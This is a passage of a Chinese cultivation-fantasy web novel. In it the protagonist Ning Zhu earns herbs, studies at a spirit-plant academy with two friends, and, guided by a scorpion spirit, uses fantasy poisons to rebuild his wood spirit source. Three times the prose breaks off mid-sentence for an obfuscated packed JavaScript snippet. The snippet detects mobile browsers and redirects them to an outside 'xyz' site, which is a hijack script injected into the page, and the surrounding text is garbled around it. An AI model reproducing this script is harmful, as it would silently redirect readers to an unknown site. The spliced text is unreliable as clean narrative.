“前些天你们从郁苍谷带出来的草药都兑换成积分了,这是你的。”执事说完,便把徽章朝宁竹递了过去,末了似乎是想起来宁竹的身份特殊,便又好心再解释了一句,“不过鉴于郁苍谷的特殊性,所兑换的积分只有正常途径所获取草药的五分之一。” 宁竹:…… 宁家的财大气粗程度再一次刷新了宁竹的认知。连试炼素材都能换算成积分供内族弟子使用,难怪外族弟子都是削尖了脑袋想挤进内族。 他掂了掂手上的徽章,又问道:“我要进行兑换,应该去哪里换?” 执事闻言多看了他一眼:“要换什么?” 宁竹报出来几个草药名,执事眉头微微一皱,似乎是很清楚这些草药上所含带的毒性,但也没说什么,只是道:“积分刚好够,换完就清零了,确定?” 宁竹点头,接着徽章便被执事重新拿走。 只见得执事将那枚徽章抵在柜台上的一颗灵石上,徽章上便是光芒一闪而过,再回到宁竹手上时,那枚徽章上的光彩已然黯淡。 他抬起头,执事便把那几株草药调了过来,统统递到他面前。 边上把他拉过来的二人显然都是知道这套流程的,宁长青好奇地问:“还缺吗?积分不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910143|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就借我的!” “够了够了。” 宁竹及时制止宁长青准备掏自己的徽章的动作,宁长青只得遗憾地把自己的徽章放回去。 三人说话间,有人探过来头瞄了一眼宁竹手里还没来得及收入手环里的草药,顿时嗤笑出声:“怎么,这是准备临时抱佛脚?” 宁竹抬头看去,便见得宁鲤和宁巫站在一起,宁鲤仿佛是看到了什么笑话,又朝宁巫说话去:“真不知道他怎么想的,医药阁是他这种草药都没摸过的人能进的地方吗?” “有大腿不抱非要来丢人现眼一遭,哈哈,你说他到时候考不进医药阁,宁殊会不会觉得丢人啊?” “宁鲤!”宁长青当场炸了毛。 之前在郁苍谷里,宁鲤突然发难捅了他一刀的事情他还没算账呢,这人又跑到他面前来嘲笑自己的朋友,宁长青忍不了了。 “哟,这么大火气啊?”宁鲤笑嘻嘻地往宁巫身后躲了躲,“我可提醒你,内族弟子不允许私下打斗,何况这可是在积分堂。” “不过我说你啊,宁长青,你给宁竹进你们灵植院的机会,他又不要,你这么护着他干什么?” 他声音不小,顿时积分堂内的人都望了过来,各异的神色间皆有几分看笑话的探究之色。 “宁巫,管好你们的人。”宁兰之面色一沉,她按住了狂怒的宁长青,眼神冰寒地盯着同样获得了参与试炼资格的宁巫。 宁巫耸了耸肩:“嘴长在他身上,我能怎么管?” “倒是你,能让二长老的亲传弟子这么听你话,还真是了不起。” 宁竹笑了:“比抱大腿的能力,怎么比得上你们。” 他一边说着,一边朝大门走去:“谁都知道你们是宁轲的跟班,那要不要我赌一手,宁轲会不会提前把考题透给你?” “你什么意思!” 宁鲤眉头一拧,几个大步拦在了宁竹身前。 宁竹目不斜视,径直撞上了宁鲤的肩,撞得他不得不侧过身体让开路。少年毫不停顿,他走出这积分堂:“你听着是什么意思就是什么咯,我哪知道你听出来什么。” “医药阁试炼考题为随机抽取,宁竹,要是自觉没能力通过,就尽早转去别的分院,提前找借口也只能证明你心虚罢了。”宁巫在他身后扬声道。 宁长青一把撞开还在门口堵着的宁鲤,同宁兰之一齐追上了已经走出好一段路的宁竹。 少年突然又停住脚步,他回过身:“有没有人说过,你们的激将法真是一脉相承的拙劣。” “半个月后拭目以待便是。” 宁巫冷笑:“我等着。” . 走出有一段路了,宁长青这才愤愤不平地骂道:“他们哪来那么多废话!” 他说着又扯了扯宁竹的衣摆,愤怒还没消解,眉目间便缓上了担忧之色:“宁竹,你真的没关系吗?别逞这一口气把机会都放弃了啊。” 宁竹:…… 宁竹好笑地看他:“你不知道?” “什么?” 宁兰之头疼地把宁长青分配到了宁鲤一桌的位置上,她替宁竹解释:“以前坊市里有个只要药草不收钱的小药师,经常被长老们拿出来说,你忘了?” “那都多久之前的事了,有什么关……” 宁长青顿住了。 他神色几番变化,最终字正腔圆地吐出一声国骂:“我靠……那是你啊?!” 宁竹点了点头。 31.灵植院 在得知了宁竹就是那个销声匿迹的小药师后,宁长青担忧顿时变成了等待宁竹大展身手的兴奋:“别的不说,宁巫的药学天赋的确不算高,若非如此也不需要靠额外获取参与试炼资格的方式了。” 他说着又顿了一下,连忙否定自己先前的话:“嘶……不对,宁轲肯定会教她,不行不行,宁竹,你要不来我们灵植院逛一圈?” 完全没跟上宁长青脑回路的宁竹:啊? 不是,怎么拐到这件事上的? 宁长青没等宁竹开口便笑嘻嘻地推着宁竹拐了个向,朝着灵植院的方向去了,一边推还一边解释:“就我知道的,医药阁试炼还会考验对灵植的熟悉程度和感知能力,你应该很久没接触灵植了?提前来我们灵植院熟悉一下也不错!” 宁竹本来打算直接回小院尝试蝎子说的方式,他不太想去。 善察言观色的宁兰之注意到了,却回错了意,她善意地补充道:“二长老她们今天开会要很久,放心吧,长老不在,灵植院就是以长青为中心,不会有人说闲话的。” 话已经说到这个份上,再拒绝也有点不太礼貌了。 宁竹心下叹气,蝎子的声音突然冒了出来:“叹气什么,你不是要木灵气吗,灵植院,听着就是个木灵气浓郁的地方。” 宁竹:…… 宁竹:好有道理。 他在郁苍谷汲取到最后一丝木灵力时,生命力流失速度减缓了,宁竹当时才确定了是木灵力起到了帮助,既然和他绑在一条绳上的蝎子看起来都不算急,那宁竹倒确实不需要太紧张。 少年面上当即带出一抹笑:“好啊,正好我也很久没有出去逛过了。” 这话倒是不假。宁竹回宁家这么多年,传说中四大分院是一步都没踏足过,只通过宁辞隐约知道分别位于宁家内族的东南西北四个方位,木属性的灵植院正是坐落东方位置。 只是赶到时,灵植院的灵气之浓郁还是狠狠地震惊了一把宁竹。 巨大的聚灵阵不仅覆盖整座建筑,更是将山头都笼罩,以至于宁竹刚一踏上山头便感受到了木灵力的充沛,植物在这样的环境下,即便不是灵植都长得分外喜人,枝叶舒展,青翠欲滴。 宁竹心头甚至一闪而过要不还是改志愿来灵植院吧的想法。 宁长青很是满意宁竹的表情,他自豪地介绍起来:“我们灵植院可是四大堂里最大的一个,这一整座山头都是我们的!” ……真有钱啊。 宁竹真情实感地感叹。 走近大门,守门的几个护卫当即对宁长青和宁兰之露出笑:“今天这么早?” 她打完招呼,才像是注意到了跟在二人身侧的宁竹,她顿了顿,眼中闪过一丝警惕。 宁长青笑嘻嘻地回应:“早呀!我带朋友来玩!” 他说着抓着宁竹的手抬起来,露出衔在手环下的小吊坠,那护卫眼神里的警惕立即消散了。 她没说什么,只是点了点头示意自己明了。 此时正值晨功的时刻,灵植院的弟子列成方阵,在空地上整齐划一地练功,宁长青拽着宁竹就这么从这群人面前闯过,还嬉皮笑脸地和站在前头监督的领队打了招呼:“师姐早!” 宁竹瞥了一眼这群练功着的弟子,众人似乎对宁长青的跳脱规则外很是习惯,没有一人对宁长青不参与晨练的行为有所不满,充其量也只是有几道视线投向了被宁长青拉着的宁竹。 但…… “兰之,你之前不是说灵脉者得天独厚数量稀少吗,怎么有这么多人?” “嗯?”宁兰之好笑地给“缺乏常识”的宁竹解释,“是啊,灵脉者除了我和长青也还有就几个而已,你刚刚看到的大部分人,是外族考上来的。” 宁竹瞬间意会。 虽然宁家的资源天然更倾向内族,但也并非不给外族弟子发展的机会,只要能证明自己的能力,一样会被四大院接收培养。 宁竹又想到了宁辞对升学大考的重视,大抵就是这个了。 两人带着宁竹一路在灵植院中穿行,越是跟着两人深入灵植院,宁竹越是能感受到木灵力的充沛和纯净,宁长青推开一座表面覆盖大量折射着日光的琉璃的建筑大门,只一进入,相比外面更浓郁数倍的木灵力扑面而来。 宁竹心头一震。 满地的灵植在这方建筑里尽情生长,与这建筑中心漂浮着的木属性兽核相辅相成,一齐将建筑内的灵气浓度拉升得极高,甚至让人感觉,外界任何一处自然奇景都难以与之一较高下。 “欢迎来到我们灵植院!”宁长青似乎很是满意宁竹眼中流露出的震愕,少年很是骄傲地介绍:“这可是我们灵植院的育苗温房,一般人是进不来的。喏,看到中间那个兽核没!长老说那可是接近六阶的五阶巅峰魔兽的兽核!” “长老专门请人打造的聚灵阵就是用它做的阵眼,要不是长老说我在这里修炼是跟灵植抢灵气,我都想一直住在这里修炼了!” 别说宁长青想了,宁竹也很想。 这么浓郁的木灵气,都赶得上郁苍谷了,要是宁竹当年的木灵属没被摧毁,在这种地方修炼上个几天……宁竹心头粗算了一下,当即被可能的晋升速率吓了一跳。 豪横、实在是豪横……也难怪外界多少人自甘做宁家附庸,只为能蹭到宁家的一点核心资源。 “好地方啊……”他的脑海里闪过蝎子喃喃自语般的感叹,宁竹眼神微动,便感觉到蝎子的注意力投向了那枚灵阵中央的兽核,“这玩意要是能搞到手……” 宁竹:想得很好,但你别想。 宁竹突然在脑子里开口,蝎子似乎这才意识到自己没忍住把心底话说了出来,当即有些挂不住似的把宁竹的意识推了出去:“去去,别说话。” 他这头刚被蝎子推了出去,外头宁兰之刚好喊了一声: “宁竹。” 宁竹抬眼看去。 宁兰之和宁长青并肩而立,她笑得温和:“之前在郁苍谷里我就发现了,宁竹,你对草药的熟悉程度并不输给我们灵植院的弟子。普通的草药你应该不需要我们帮忙,但灵植……我想你应该比较少接触。” 她说着,言语带出一种自然的骄傲,那是她对身份、对灵植院乃至整个宁家的认同感:“宁巫有宁轲帮忙,死记硬背也能记住不少,但要真论对灵植的熟悉程度,有谁能比得上我们灵植院的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919232|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宁长青也帮腔:“没错!宁竹你到时候要考个第一名,把所有人都压下去!” 宁竹很感动。 宁竹也很现实。 “……你们就这么把我带进来核心区,长老那边,没关系?” “那个不要紧。”宁长青撇嘴,“我和兰之本来就每天都要来灵植院跟进记录灵植生长情况,而且最多就半个时辰!半个时辰没记录完长老才药问责。” 宁兰之不知道从哪翻出来纸笔,一齐塞进宁竹怀里:“灵植都是有阵法标记的,一旦摘下就会触发警报,你不摘就行了。” “要了解灵植嘛……肯定是从记录开始。”宁兰之依旧笑着,但宁竹一晃眼像是看到了不存在的狐狸尾巴,“来吧,你能记多少记多少,出去之后我和长青再给你复盘核对。” 宁竹笑了:“你们就是缺苦力吧。” “是啊是啊。”宁长青煞有其事地点头,“这么大个育苗温房,半个时辰可紧张了,你快别说话了,快快快开工开工——” 宁竹被推到灵植前,便见得另外两人又着按着日常分工去往各自的区域做记录。和宁竹说话这一会儿已经耽误了他们不少时间了,宁竹看着两人忙碌起来的背影,心下一阵温暖。 让他帮忙做劳力,当然是让他不要出于不好意思而推拒的借口。 宁兰之想得周到,处处让人挑不出毛病,几日相处下来,宁竹对于宁长青所说的“她更适合做长老亲传”有了更深几分的了解。 假以时日,这姑娘恐怕会成为很了不起的角色。 宁竹看了一眼手中的纸笔,他笑了起来,旋即仔细的研究起面前的灵植。 这份恩情与善意,宁竹记下了。 . 半个时辰转瞬即逝,宁竹从育苗温房里出来的时候,还有些全神贯注过后的头晕脑胀。 另外两人显然很是习惯,他们把宁竹带到了书房,又就着宁竹的记录帮他做起复盘和修正,一边说还一边从架上拿了书,就着一个点发散式地深入,知识又多又杂,但凡是个外人路过多听两耳朵都要听晕过去。 宁竹虽是对草药天赋极高,但灵植这一块苦于没有资源,一直以来发展缓慢。 有了这两人的帮助,只一早上宁竹便学了不少,很多知识一点就通,以至于宁长青一边咋舌“你为啥不来灵植院啊,去医药阁也太浪费了吧”又一边摇头“不行还好你不是灵植院的,有你这种人在后面追真是太可怕了”,行为俨然有精分之嫌。 宁兰之习以为常地把宁长青推到一边,又送了宁竹出灵植院,约定好明天继续来给他们帮忙。 宁竹自然很是乐意,集中精力去学有兴趣的东西还能顺带蹭点聚灵阵的灵气,宁竹一时间连脚步都轻快了不少。 蝎子的声音在他脑里响起:“接下来没什么事了吧?” 宁竹“嗯?”了一声:“没有。你要做什么?” 他脑海里的声音少了几分懒洋洋的疲惫,蝎子若有所思:“趁热打铁。” 宁竹身形一顿,少年脸上骤然升起几分掩藏不住的激动。 蝎子笑了一声:“也让你看看,真正的毒要怎么玩。” 32.毒药 宁竹当即赶回自己的小院。除了对解决凝源问题的激动,还有几分……对另一个领域的好奇。 他关上门,又上好锁,宁竹把那几株蝎子指明要的带毒药草都拿了出来,一一列在桌上。这些毒草平日里宁竹也会用,不算太珍稀,甚至有几株称得上常见。 但……但只要这些就能解决他的灵脉问题? 宁竹有些怀疑,他按上了锁骨,试图朝蝎子传话,却忽的瞥见那蝎子模样的烙印出现在了他的小臂上。 宁竹眉梢一挑。 蝎子似乎能通过印记直接视物,它观察了一下药草:“还行,品相都不错。” 那道蝎子样式的烙印在他的皮肤上动了起来,活像一只真蝎子在他手臂上爬行。 宁竹问:“你想怎么做?” 蝎子不假思索:“直接吃了。” 宁竹:? 宁竹疑惑地拎起一串长满尖刺的果实:“等会儿,你告诉我怎么吃?” 蝎子:“……你们人类还真是麻烦。” 宁竹无语:“有没有可能是你们魔兽活得太潦草。” 蝎子安静了半天,无奈的声音才又一次响起:“好吧,你把他们都炼成汁,这个你总做得到吧?” 这倒是不难,宁竹以前也做过好几次,药草炼成汁液后,之间按比例搭配,从而让药性互相制衡、发挥出奇妙功效。 思及此,宁竹便直接动作起来,他取出药鼎,又借了火灵脉一用。 指尖燃起的火焰灌入药鼎之中,跟随他的心意调节温度,自如程度仿佛那就是他肢体的延伸。 宁竹眼神微微一暗。 灵脉的确好用,甚至可以说,好用得过头。 或许在经历蝎子夺舍之前,宁竹对灵脉是毫无感情的,但在灵脉守护了他之后,宁竹对灵脉的情感便也复杂了起来。 好用,实用…… 宁竹并不否认灵脉的增幅作用。 可如果没有这两条灵脉,自己也不会因为要废除灵脉而险遭夺舍。 再好的东西,不合时宜就是累赘。 宁竹很清楚这一点。 . “想什么呢?”蝎子懒洋洋的声音响起,“集中注意力。” 宁竹回过神。炼出的褐色汁液跟随他的引导被引入白瓷瓶里,他一手封盖,另一手的火焰跟随他的意念又缩小。他往火里投入另一枚果实,火焰熏烤下顿时发出几声迸裂的鸣响。 三两下这些药草便一一炼化完成,宁竹将最后一株药草炼成的汁液引入药瓶之中,六个药瓶便在桌上一字摆开,小屋内药草的香气相互纠缠。 每一瓶单拿出来,其药性都是远大于毒性的,就算此时有人闯进来,宁竹硬说自己只是在尝试炼药也混得过去。少年稍缓了口气,片刻,他疑惑地拿起瓶子,只一晃荡,内里的水液便叮叮当当地响起来。 “接下来呢?”宁竹问。 “接下来……”蝎子停顿,它突然收了声,安静得宁竹以为蝎子断开了和自己的链接,好一会儿了,它才像找回了自己的声音,它问:“幼崽……告诉我,你认为的毒是什么?” . 毒是什么。 宁竹突然被这个问题问蒙了。 宁竹不是第一次思考这个问题,但每一次思考,都会得出不同的结果。 幼时弱小的宁竹认为,毒是武器,自保的武器。 稍大一些踏上修行路的宁竹认为,毒是有害之物,是遭人恐惧、遭人围剿的祸端。 再后来,接触了药学的宁竹认为,毒是药的副产品,是与药伴生的、需要被剔除的负面因素。 那对现在的宁竹来说呢? 他陷入深思,于是那些过往的记忆在他脑海里播放。 他记得他小时候往欺辱他的人的食物里下毒,毒得那人脸肿得像猪头,有大半个月不敢出现,也不会来宁竹面前找事。 他记得那些在山林间摸爬滚打讨生活的佣兵们对着毒师破口大骂,骂他们如何阴险,如何下作,如何与邪修蛇鼠一窝,做尽伤天害理的歹事。 记得他在药学这个无人教授的领域里到处碰壁,便时常与药、与毒伴行,迫于资源的局限性,他逐渐学会了找替代品,逐渐了解了毒的作用,便也逐渐不再恐惧毒。 他也记得自己摸索着学会以毒攻毒,用过激的手段将难以解决的问题拉入自己擅长的领域,再用自己擅长的方式去解决问题,正如前不久,他以毒配置低配化灵散,再针对其中的毒性,配置解药去化解毒性。 所以对宁竹而言,毒是什么? ——“是药。” 蝎子不意外宁竹的沉默,但却意外宁竹的回答。它“嗯?”了一声,似乎是怀疑自己听错了,它追问:“此话怎讲?” “用在应该用的地方,毒便是药。”宁竹笑了一声,他又道,“而若是药用在不该用的地方,那又与毒何异?” . “幼崽,你确实让我觉得惊喜了。” 这只巨大的魔兽感叹一句,语言里莫名带上了几分沧桑。宁竹听得眉头一皱,他想说点什么,脑海里的声音突然话音一转,直接把宁竹心里头刚升起那点共情全摁没了。 “但话说回来!你对毒的应用也太粗暴了!” 蝎子狠狠抗议。作为与生俱来便具有毒性的蝎子魔兽,它不允许有人在自己面前乱用毒! “现在,把第一二五瓶拿出来,内服,全部!半刻钟后,内服第三第四瓶,最后把第六瓶倒在我身上,快点。” 宁竹很疑惑。 宁竹指着第六瓶药:“你哪来的身体?” 再一闻空气中药味交织出的不妙气味,宁竹眉头皱得更用力了:“还有,你确定这能内服?” “笨啊!倒印记上啊!”蝎型烙印张牙舞爪,蝎尾一甩一甩的极其抢眼,“我说能就是能,骗你干嘛?你死了我也讨不到好,快点。哦对了,动一下我给你的本源印记,你这两条索捆着,我可操作不了。” 宁竹:…… 你刚好像不是这副嘴脸吧?! 腹诽归腹诽,宁竹还是按照蝎子所说的,打开了那三瓶药,逐一饮下。 苦涩的汁液瞬间充斥了宁竹整个口腔,连带着鼻腔内也尽是浓厚的药味。或许是药物还没起作用,宁竹放下药瓶,身体还没有任何感受,只是……他忽的感觉自己心跳很快。 “尽量记住我接下来是怎么做的。” 蝎子的声音又一次响起,紧接着,剧烈的疼痛擒住了宁竹的整个神经系统。 疼。 宁竹手指不受控制地抽搐了一下,整个腹腔传来的疼痛瞬间令得少年脸色发白。没有预兆,没有逐渐令人适应的过程,宁竹闷哼一声,那疼痛还在快速攀升,转眼间疼痛已充斥着宁竹的五脏六腑。 “保持清醒。” 蝎子的声音适时拽住了宁竹有些飘忽的意识,少年闭上眼,意识内观,便见得两条灵脉自主护体,亮起的经脉灵力发散,显然是要将那入体的毒药驱逐。 宁竹忍着剧痛尽量去看,似乎是灵脉自主判断了此刻入体的邪毒更具威胁性,便短暂放松了对蝎子的钳制,蝎子得以发挥,灰紫色的灵力势如闪电包裹住了那团翻涌不断的毒液,瞬间那两道灵脉便像是失去了方向,全然找不到了攻击目标。 还能这样? 宁竹的注意力被这奇异的景象转移了,连身体上的痛楚都被屏蔽了一瞬。 蝎子有意让宁竹观察它的动作,它做得很慢,一缕一缕的毒液被调出来,主动朝着灵脉引去。 或许是因为这样一缕实在小得轻微,在宁竹没有主动引导灵脉抵抗的情况下,灵脉丝毫没有全力发挥的意图,只分出一点足够抵消侵蚀的灵力出来消解毒性。 蝎子几次反复之后,储存灵力的丹田已然从九段巅峰下跌回寻常九段,半刻钟过去,那两道灵脉终于反应过来这细微的毒连绵不绝,意图发作之时,宁竹已然捞起另两瓶饮了下去。 毒与毒交融,在蝎子精细的操纵下迸出了奇异的药性,灵脉似乎一下琢磨不清楚是否要发作,蝎子便乘着空档引导那药发挥。 很快,宁竹感知里的疼痛便被这药性抚平了。 温和的药性传遍每一根神经,最后又归于丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921904|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田,紧紧霸占住那些空隙,令得灵脉再吞噬转化灵气也无法将之存储。 ……还有这种方法? 宁竹眉心一跳。好在蝎子把本源印记交了出来,不然放任这么一个东西在自己的身体里,宁竹怕是要寝食难安了。 “记住多少了?”蝎子问他,他没等宁竹答话,又自顾自地催促起来,“算了,不重要,快把最后那瓶倒给我。” 宁竹疑惑,但照做。 看蝎子这架势,消解与补充流程已经完成得差不多了,那这最后一瓶又是什么?他没问,只打开了瓶盖,对着小臂上那轻轻晃动着蝎尾的烙印淋了上去。 瞬间,黑色的印记透出灰紫的色彩,一道道同蝎子原体一致的奇异纹路也在印记上浮现,粘稠的汁液没能从宁竹小臂上淌下来,一接触到那处皮肤便瞬间被吸收了个干净。 宁竹屏气凝息,等待着这瓶药发挥作用。 然而那瓶药见了底,印记上的灰紫色彩消散又重新恢复墨色,什么都没有发生。 宁竹:……? . “蝎子?”宁竹喊了一声。 那蝎子懒洋洋的声音传来,仿佛是刚要睡着就被摇醒了,它有些不耐烦地甩尾:“什么事?” “最后一瓶是干嘛的?”宁竹不解,但宁竹不懂就问,“好像没什么反应?” 蝎子:“哦,那个不是给你的。” 蝎子:“那是我的劳动费。” 蝎子:“别叫我了,我要睡了。” 宁竹:? 宁竹当即潜入意识空间,巨大的蝎子蜷着趴在地上,一副快要睡着的模样,宁竹额角青筋暴跳,他手一招,灵脉调动,铁索紧缚,迅速把蝎子生生拽了起来。 蝎子:…… 一人一兽对视好几秒,空气似乎都在这对视间凝滞了。 到底还是蝎子忍不住,它抓狂:“我该干的都干完了,怎么连休息一下都不行吗?!” 宁竹同样抓狂:“睡什么睡?!你不是说能凝源吗?木灵力呢?!” “你急什么!急什么!!”要不是灵脉把它锁死了,宁竹毫不怀疑下一秒它就拿蝎尾蛰过来了,“这才哪跟哪!这么一点毒就想解决你还不如两眼一闭做个白日梦来得快!” “你也没说啊?!” 蝎子可疑地停顿了几秒。 蝎子:“我没说吗?” 宁竹:“没说。” 蝎子:“那你现在知道了。” 宁竹额角青筋跳得更厉害了,他没忍住握紧了拳头,灵脉瞬间会错意将蝎子缠得更紧了。 蝎子夸张地叫起来:“恩将仇报啊!幼崽,你这是恩将仇报!” 宁竹头疼,他松开手,那两道灵脉这才缓缓松开束缚。蝎子瞥他一眼,似乎是觉得这么跟宁竹对话实在太费劲了,蝎子的身形缓缓缩小,最终凝实在和宁竹身高差不多的高度。 宁竹叹了口气,说实在的,他关心的问题也只有这一个:“还要再来多少次?” “三四次吧。”蝎子道,“理论上是越多越好,不过你这东西看起来没那么容易糊弄,适度就好,免得又触底反弹。” “又”。 宁竹叹气。他知道蝎子是在点他之前那次用化灵散,当时他不知道需要加以控制,任由毒直接侵蚀灵脉,很大程度也是后续灵脉爆发二次觉醒的导火索。 蝎子的方法和宁竹的思路接近,但蝎子的控制更精细,一点一点的侵蚀反而不会让灵脉一下反应过来。 这倒是宁竹要学的。 但…… “能再快点吗?”宁竹问。 距离医药阁的试炼只剩下十来天,按蝎子这样一点一点的累积,宁竹估计最快也要一个月才能完成。 “也不是不行,但你的身体可能受不了。”蝎子琢磨了一下,“毕竟都是毒,也得给你的身体一点缓冲期。” “……不对,你体内有蛊虫,对毒的适应力还挺高的。” 蝎子反应过来的时候,宁竹发誓自己看到蝎子眼睛里一闪而过的诡异的精光。 “十天……说不定还真可以。” 33.凝源 蛊虫。 这是宁竹第二次从蝎子口中听到这个名词。 之前宁竹没信,但这回蝎子的的确确帮了自己,它没理由再扯一个谎出来,可……可他长这么大,从未感觉到身体有任何异样,这蛊虫又是从何而来? “蝎子,你说的蛊虫是什么?” “你是真不知道还是装的?”蝎子纳闷,它说,“我也不知道是什么类型的蛊虫,它还在茧子里没破壳,大概要你聚星之后才会醒吧。” 宁竹思考:“你知道它大概是什么时候在的吗?” 蝎子想也没想,语气笃定:“你刚炼气不久的时候。” 宁竹沉默。刚炼气不久,那就是刚踏上修炼之路的时候。而那个时间点……宁竹记得,他的母亲曾经告诉他,他小时候重病一场,险些被阎王收走。 莫不成和这蛊虫有关? 可此时此刻早已无人能回答他的疑惑。他的母亲身患顽疾,早在三年前就撒手人寰,若非母亲生前的交代,宁竹也不会回到宁家。 想到母亲,宁竹心头一震抽痛,他长长地出了一口气。 和他意识链接着的蝎子似乎感受到了,它犹豫片刻,轻声道:“这蛊虫本身对你无害,只是孵化需要能量供养,你以前用木灵力供着,便不会对你的生命力产生什么影响,解决它也简单,重新凝聚木灵源就好了。” 木灵力。 宁竹想起来了,他重病康复之后,重新恢复修炼时,母亲往他手里放了一枚吊坠。 宁竹猛地站起身,吓得蝎子连声问“怎么了”,少年一句话没说,几步迈到橱柜前,从抽屉深处拿出来一个封得极其仔细的木盒。 盒子样式朴素,但半点灰尘没沾上,明显是长期有人仔细擦拭保养着。 少年的眼神在接触到盒子时便变得温柔起来,他打开盒子,内里一枚竹叶形状的银质吊坠嵌在软垫之中。 “……哎!就是这个气息,”盖一打开,蝎子的眼睛就亮了起来,它郁闷道,“你这不是知道吗?” 宁竹一时半会不知道自己该露出什么表情,他顿了顿,唇角牵起的笑带出了一抹苦涩。他拿起那枚吊坠,细细地摩挲过其上的每一处划痕,直到那枚吊坠染上他的体温。 “……你确定是这个气息吗?” 蝎子很笃定:“不会有错。” 那就没关系。宁竹心上悄悄松了一口气。别人他不知道,也不敢信,但如果是妈妈,那没关系。宁竹紧紧握住了那枚吊坠,任由略微锋利的棱角刺入他的皮肉。 蝎子还想说话,可少年的反应实在太异常,有着本源印记的链接在,实际上,他能很直接地感觉到宁竹的情绪。 它犹豫着这个氛围或许应该说点什么安慰一下,但宁竹很快放回了那枚吊坠,又小心仔细地将之放好。 “之后的凝源要怎么做?” 宁竹回归正题。 或许是被宁竹先前那份悲伤触动了,蝎子这回没再说玩笑话,它同样顿了顿,才像是找回了正常说话时的声线:“用木属性灵植协助,你不是有那什么的花籽吗,那个就可以。” 宁竹长出一口气。还好,阴差阳错,峰回路转,好歹不是做了无用功。 . 最后宁竹还是去跟宁长青借了积分用。 没办法,换一次药就把宁竹仅有的那点积分清零了,短时间宁竹也搞不到再多的积分了。一来医药阁考核在即,二来日常任务的积分也不多,真靠那些琐碎的日常任务积攒积分,实在浪费时间精力。 好在宁长青和宁兰之都是好说话的人,宁兰之说长青的不够也能来借我的,宁长青更是直言不用还了。 宁竹也不客气,只一一把这些时日受到的关照尽数记在心底。 有这两人的帮助,宁竹的进度突飞猛进,十天时间转瞬即逝,这十天里宁竹两点一线地过着早上去灵植院帮忙和学习、下午回小屋洗涤和炼药的日子。 宁竹对毒的适应力的确高得超乎寻常,第一回过后还有些时不时走神发晕乏力的后遗症,第二回第三回只在消解灵力时会感觉到疼痛,之后也就没什么特别感觉了。 蝎子对此啧啧称奇。 转眼,时间便来到医药阁试炼的前夜。 . 凝源。 宁竹原本想在屋内进行,可想了又想,他还是推开门,踏入满院青翠的小院中。宁辞带来的小白玉盒一并被宁竹带出,借着皎皎月色,少年打开盒子,从中取出那几颗花籽。 到此关头,宁竹心头还是不免有些打鼓,他自然不会放弃,可难免对这飘忽不定的未来有几分担忧。 在多种属性的灵气之中,抽取去其中的一项来进行凝源。 纵观整个天乾大陆,也应当算是前无古人。 “你有把握吗?”蝎子的声音有些紧绷,听得出来它也不怎么轻松。毕竟把命搭在一个少年人身上,宁竹做的每一项决策都影响蝎子的命运,它实在没法不紧张:“我牵制灵脉,凝源只能交给你自己,要实在没把握,改天养精蓄锐了再来。” 有人比自己还紧张,宁竹反倒莫名放松下来了:“凝源我做过一次,也算有点经验。” “时间……不能再拖了。”宁竹在院子里盘坐而下,“最后再确定一次。等会我先服药消解灵力,之后炼化青月花花籽,用木灵力替代丹田空缺,此刻你牵制灵脉,我强行凝源。” “不错。”蝎子长叹一口气,宁竹的意识之中,属于蝎子的气息逐渐凝练,“事已至此,再纠结就是磨叽了。幼崽,开始吧。” 少年眼神一凝,他逐一打开药瓶,一饮而尽。 这次蝎子要全力牵制灵脉,便也不能分出意识来操纵毒的运用,这回,只能是宁竹自己进行。 狂暴的毒顺着血管发作起来,宁竹借用属于蝎子的灵力,按他之前的操作裹住毒,再一缕一缕分散,找上那两条在宁竹意识中莹莹发亮的灵脉。 嗡! 灵脉自行抵触着纠缠上来的毒气。灵脉只有本能而没有自主意识,若非如此,蝎子也没法利用灵脉的护主特性来消磨灵力。 很快,丹田之中储存的灵力又被毒消融一部分,空缺的部分还没等灵脉重新炼化灵气,便被另一种药物堵了个结实。 少年额角淌下一滴冷汗,在他的周身,红蓝两色灵力光彩流转,盘旋着似乎牵出一道灵力的飓风,而这道飓风,正随着少年的修炼逐渐减弱。 呼—— 越来越多的冷汗浸湿少年的衣领。毒气抢走丹田中的空隙,灵力浓度已然又跌一个层级。 散气……七段! 宁竹赫然睁开眼,居于膝上的双手抬起,印结变化,身前三枚花籽被牵引而动,只一个意念,花籽如同烟火般迸裂,喷溅而出的汁水却随着少年的引导盘旋起来,浓郁的绿色之中一抹灰紫的毒气盘踞其中紧密难分。 蝎子低声喝道:“就现在!” 轰! 空间之内蝎子暴动起来,那两条终于感觉到不对劲的灵脉没能发作便被蝎子转走注意力,而那盘旋的汁液在宁竹的引导下如长箭飙射而来,直直刺入宁竹丹田!< 